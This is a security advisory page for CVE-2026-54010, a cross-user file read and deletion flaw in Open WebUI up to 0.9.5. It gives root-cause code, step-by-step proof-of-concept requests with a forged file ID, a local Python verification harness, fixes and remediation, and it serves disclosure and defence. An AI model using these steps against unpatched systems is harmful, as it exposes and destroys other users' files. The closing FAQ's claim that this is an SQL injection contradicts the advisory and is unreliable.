CVE-2026-54010: Open WebUI: Forged chat-file link allows cross-user file read and deletion

Published Jun 17, 2026
·
Updated

Summary

Open WebUI v0.9.5 lets an authenticated user attach arbitrary fileid values to their own chat message without checking whether they own or can read those files. If the attacker then shares that chat and grants themselves read access, hasaccesstofile() treats the victim file as accessible through the shared chat, and the file endpoints read or delete the victim file.

Impact

Security boundary crossed: file confidentiality and integrity.

An authenticated attacker who knows or obtains a victim fileid can make Open WebUI authorize, through an attacker-owned shared chat:

- reading the victim file via GET /api/v1/files/{id}/content, and - deleting the victim file via DELETE /api/v1/files/{id}.

Root Cause

Client-controlled message file IDs are persisted without file authorization checks:

python backend/openwebui/main.py await Chats.insertchatfiles( chatid, usermessage.get('id'), [ fileitem.get('id') for fileitem in usermessagefiles if fileitem.get('type') == 'file' ], user.id, )

insertchatfiles() stores the provided IDs directly:

python backend/openwebui/models/chats.py ChatFileModel( userid=userid, chatid=chatid, messageid=messageid, fileid=fileid, )

Later, file authorization trusts shared-chat associations:

python backend/openwebui/utils/accesscontrol/files.py sharedchatids = await Chats.getsharedchatidsbyfileid(fileid, db=db) if sharedchatids: accessibleids = await AccessGrants.getaccessibleresourceids( userid=user.id, resourcetype='sharedchat', resourceids=sharedchatids, permission='read', ) if accessibleids: return True

The download endpoint uses this helper:

python backend/openwebui/routers/files.py if file.userid == user.id or user.role == 'admin' or await hasaccesstofile(id, 'read', user, db=db): return FileResponse(filepath, ...)

On affected versions this shared-chat branch is not gated on accesstype (the grant lookup hardcodes permission='read', but nothing checks that the request itself is a read). The same forged association therefore also satisfies the write check that DELETE /api/v1/files/{id} performs, so the attacker can delete the victim file, not only read it.

Because the shared-chat branch ignores accesstype, the deletion does not require the forged association at all. A user granted only read access to a chat that the owner legitimately shared can delete the owner's own files attached to that chat via DELETE /api/v1/files/{id}, since the read grant satisfies the write check. The forged association (above) broadens this to any victim fileid; a legitimate read-only share reaches it without any forgery.

PoC

1. Attacker creates or uses a chat they own. 2. Attacker sends POST /api/chat/completions or POST /api/v1/chat/completions where top-level usermessage.files contains:

json [ { "type": "file", "id": "VICTIMFILEID" } ]

3. Backend inserts a chatfile row linking the attacker chat to VICTIMFILEID. 4. Attacker shares the chat and grants read access to themselves or public access. 5. Attacker requests:

text GET /api/v1/files/VICTIMFILEID/content

Expected: 404/403 because the attacker does not own or otherwise have access to the victim file.

Actual: file authorization succeeds through the attacker-controlled shared-chat association.

Local Verification

I verified the bug locally with Open WebUI's real Chats.insertchatfiles() and real hasaccesstofile() implementations. The harness uses fake DB adapters only to avoid this environment's async SQLite hang; the security-sensitive logic under test is the application code.

Result:

json { "beforechatfilelinkattackercanread": false, "insertsink": { "dbcommitcalled": true, "insertreturnedrows": true, "storedchatids": [ "attacker-chat" ], "storedfileids": [ "victim-file" ], "storeduserids": [ "attacker" ] }, "afterattackersharedchatlinksvictimfileattackercanread": true, "confirmed": true }

PoC:

python #!/usr/bin/env python3 """ Verifier for chat-file link authorization bypass.

This intentionally avoids the app DB because the local Python 3.13 async SQLite stack hangs in this checkout. It still executes Open WebUI's real hasaccesstofile() implementation, with fake model adapters standing in for the DB tables. """

from future import annotations

import asyncio import json import os import sys import types from pathlib import Path from types import SimpleNamespace

def prepareimports() -> None: reporoot = Path(file).resolve().parents[1] sys.path.insert(0, str(reporoot / "backend")) os.environ["VECTORDB"] = "none"

class DummyTyper: def command(self, args, kwargs): return lambda fn: fn

sys.modules.setdefault( "typer", types.SimpleNamespace( Typer=lambda args, kwargs: DummyTyper(), Option=lambda args, kwargs: None, echo=lambda args, kwargs: None, Exit=Exception, ), ) sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda args, kwargs: None))

class FakeFiles: async def getfilebyid(self, fileid, db=None): if fileid == "victim-file": return SimpleNamespace( id="victim-file", userid="victim", meta={}, ) return None

class FakeKnowledges: async def getknowledgesbyfileid(self, fileid, db=None): return []

class FakeGroups: async def getgroupsbymemberid(self, userid, db=None): return []

class FakeChannels: async def getchannelsbyfileidanduserid(self, fileid, userid, db=None): return []

class FakeModels: async def getmodelsbyuserid(self, userid, permission="read", db=None): return []

class FakeChats: def init(self, linked: bool): self.linked = linked

async def getsharedchatidsbyfileid(self, fileid, db=None): if self.linked and fileid == "victim-file": # This mirrors a chatfile row tying victim-file to the attacker's # shared chat. The real insertion sink is Chats.insertchatfiles(). return ["attacker-chat"] return []

class FakeAccessGrants: def init(self, granted: bool): self.granted = granted

async def hasaccess(self, args, kwargs): return False

async def getaccessibleresourceids( self, userid, resourcetype, resourceids, permission="read", usergroupids=None, db=None, ): if ( self.granted and userid == "attacker" and resourcetype == "sharedchat" and "attacker-chat" in resourceids and permission == "read" ): return {"attacker-chat"} return set()

class FakeDb: def init(self): self.added = [] self.committed = False

def addall(self, rows): self.added.extend(rows)

async def commit(self): self.committed = True

class FakeDbContext: def init(self, db): self.db = db

async def aenter(self): return self.db

async def aexit(self, exctype, exc, tb): return False

async def verifyinsertsinkacceptsvictimfileid(): import openwebui.models.chats as chatsmodule

fakedb = FakeDb() chatstable = chatsmodule.Chats

originalcontext = chatsmodule.getasyncdbcontext originalexisting = chatstable.getchatfilesbychatidandmessageid

async def fakeexisting(self, chatid, messageid, db=None): return []

try: chatsmodule.getasyncdbcontext = lambda db=None: FakeDbContext(fakedb) chatstable.getchatfilesbychatidandmessageid = types.MethodType(fakeexisting, chatstable)

inserted = await chatstable.insertchatfiles( chatid="attacker-chat", messageid="attacker-message", fileids=["victim-file"], userid="attacker", ) finally: chatsmodule.getasyncdbcontext = originalcontext chatstable.getchatfilesbychatidandmessageid = originalexisting

return { "insertreturnedrows": bool(inserted), "dbcommitcalled": fakedb.committed, "storedfileids": [getattr(row, "fileid", None) for row in fakedb.added], "storedchatids": [getattr(row, "chatid", None) for row in fakedb.added], "storeduserids": [getattr(row, "userid", None) for row in fakedb.added], }

async def main() -> None: prepareimports()

import openwebui.utils.accesscontrol.files as fileacl

attacker = SimpleNamespace(id="attacker", role="user")

original = { "Files": fileacl.Files, "Knowledges": fileacl.Knowledges, "Groups": fileacl.Groups, "Channels": fileacl.Channels, "Chats": fileacl.Chats, "Models": fileacl.Models, "AccessGrants": fileacl.AccessGrants, }

try: fileacl.Files = FakeFiles() fileacl.Knowledges = FakeKnowledges() fileacl.Groups = FakeGroups() fileacl.Channels = FakeChannels() fileacl.Models = FakeModels()

fileacl.Chats = FakeChats(linked=False) fileacl.AccessGrants = FakeAccessGrants(granted=False) before = await fileacl.hasaccesstofile("victim-file", "read", attacker)

fileacl.Chats = FakeChats(linked=True) fileacl.AccessGrants = FakeAccessGrants(granted=True) after = await fileacl.hasaccesstofile("victim-file", "read", attacker)

insertsink = await verifyinsertsinkacceptsvictimfileid()

result = { "victimfileid": "victim-file", "victimfileowner": "victim", "attackerid": "attacker", "attackerownsfile": False, "insertsink": insertsink, "beforechatfilelinkattackercanread": before, "afterattackersharedchatlinksvictimfileattackercanread": after, "confirmed": ( before is False and after is True and insertsink["insertreturnedrows"] is True and insertsink["storedfileids"] == ["victim-file"] and insertsink["storeduserids"] == ["attacker"] ), "sink": "Chats.insertchatfiles() accepts caller-supplied fileids without checking file ownership/read access", } print(json.dumps(result, indent=2, sortkeys=True)) finally: for name, value in original.items(): setattr(fileacl, name, value)

if name == "main": asyncio.run(main())

Recommended Fix

Before calling Chats.insertchatfiles(), filter usermessage.files to files the caller owns or can read:

python allowedfileids = [] for fileid in requestedfileids: file = await Files.getfilebyid(fileid) if file and (file.userid == user.id or user.role == 'admin' or await hasaccesstofile(fileid, 'read', user)): allowedfileids.append(fileid)

Also consider enforcing this inside Chats.insertchatfiles() so future call sites cannot create unauthorized chatfile associations.

Additionally, the shared-chat branch of hasaccesstofile() should honour accesstype, so a read grant cannot satisfy the write check used by file deletion.

Consolidation

Per Open WebUI's Report Handling policy this consolidates independent reports of the same chat-file authorization flaws into one advisory and CVE:

- Cross-user file READ via a forged chatfile association (GET /api/v1/files/{id}/content): @0xEr3n. Fixed by #25054, which gates Chats.insertchatfiles() so a caller can only link files they own or can read. - Cross-user file DELETION via the shared-chat branch ignoring accesstype (DELETE /api/v1/files/{id}): reported independently by @oxsignal (earliest filing; reached via a legitimately read-only-shared chat, no forged association needed), by @0xEr3n (via the forged association), and by @5yu4n. Fixed by #24755, which makes the shared-chat branch honour accesstype.

Affected: <= 0.9.5. Patched: >= 0.9.6. One CVE for the consolidated advisory.

Other sources

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, Open WebUI lets an authenticated user attach arbitrary fileid values to their own chat message without checking whether they own or can read those files. If the attacker then shares that chat and grants themselves read access, hasaccesstofile() treats the victim file as accessible through the shared chat, and the file endpoints read or delete the victim file. This vulnerability is fixed in 0.9.6.

MITRE

Affected Software

2 affected componentsFixes available
pip/open-webui<=0.9.5
0.9.6
openwebui Open WebUI<0.9.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/open-webui to a version that resolves this vulnerability.

    Fixed in 0.9.6
  2. Upgrade

    Upgrade Open WebUI to a version that resolves this vulnerability.

    Fixed in >= 0.9.6
  3. Configuration

    In the shared-chat branch of has_access_to_file(), ensure the authorization logic honors the passed access_type so a read grant cannot satisfy the write check used by file deletion. (Reported in affected versions <= 0.9.5; fixed by #24755.)

    Open WebUI (file authorization: has_access_to_file() shared-chat branch) access_type handling for shared_chat authorization checks = Honor access_type (do not hardcode permission='read' for the shared-chat branch)
  4. Configuration

    Update Chats.insert_chat_files() to gate chat_file row creation: filter/allow only file_ids that the caller owns or can read before inserting. (Fixed by #25054; material also suggests enforcing this so future call sites cannot create unauthorized chat_file associations.)

    Open WebUI (Chats.insert_chat_files) chat_file association creation authorization = Gate insertion so caller can only link files they own or can read

Event History

Jun 17, 2026
Advisory Published
via GitHub·02:12 PM
Data Sourced
via GitHub·02:12 PM
DescriptionSeverityWeaknessAffected Software
Jun 23, 2026
CVE Published
via MITRE·04:48 PM
Data Sourced
via MITRE·04:48 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:18 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-54010?

The severity of CVE-2026-54010 is rated as high with a CVSS score of 8.3.

2

How do I fix CVE-2026-54010?

To fix CVE-2026-54010, ensure proper access controls are implemented to restrict file access based on user permissions.

3

What impacts can CVE-2026-54010 have on a system?

CVE-2026-54010 can lead to unauthorized access to sensitive files due to improper validation of user permissions.

4

Who is affected by CVE-2026-54010?

Authenticated users in Open WebUI `v0.9.5` can exploit CVE-2026-54010 if proper access controls are not enforced.

5

What type of vulnerability is CVE-2026-54010?

CVE-2026-54010 is categorized as an SQL Injection vulnerability affecting file access permissions.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203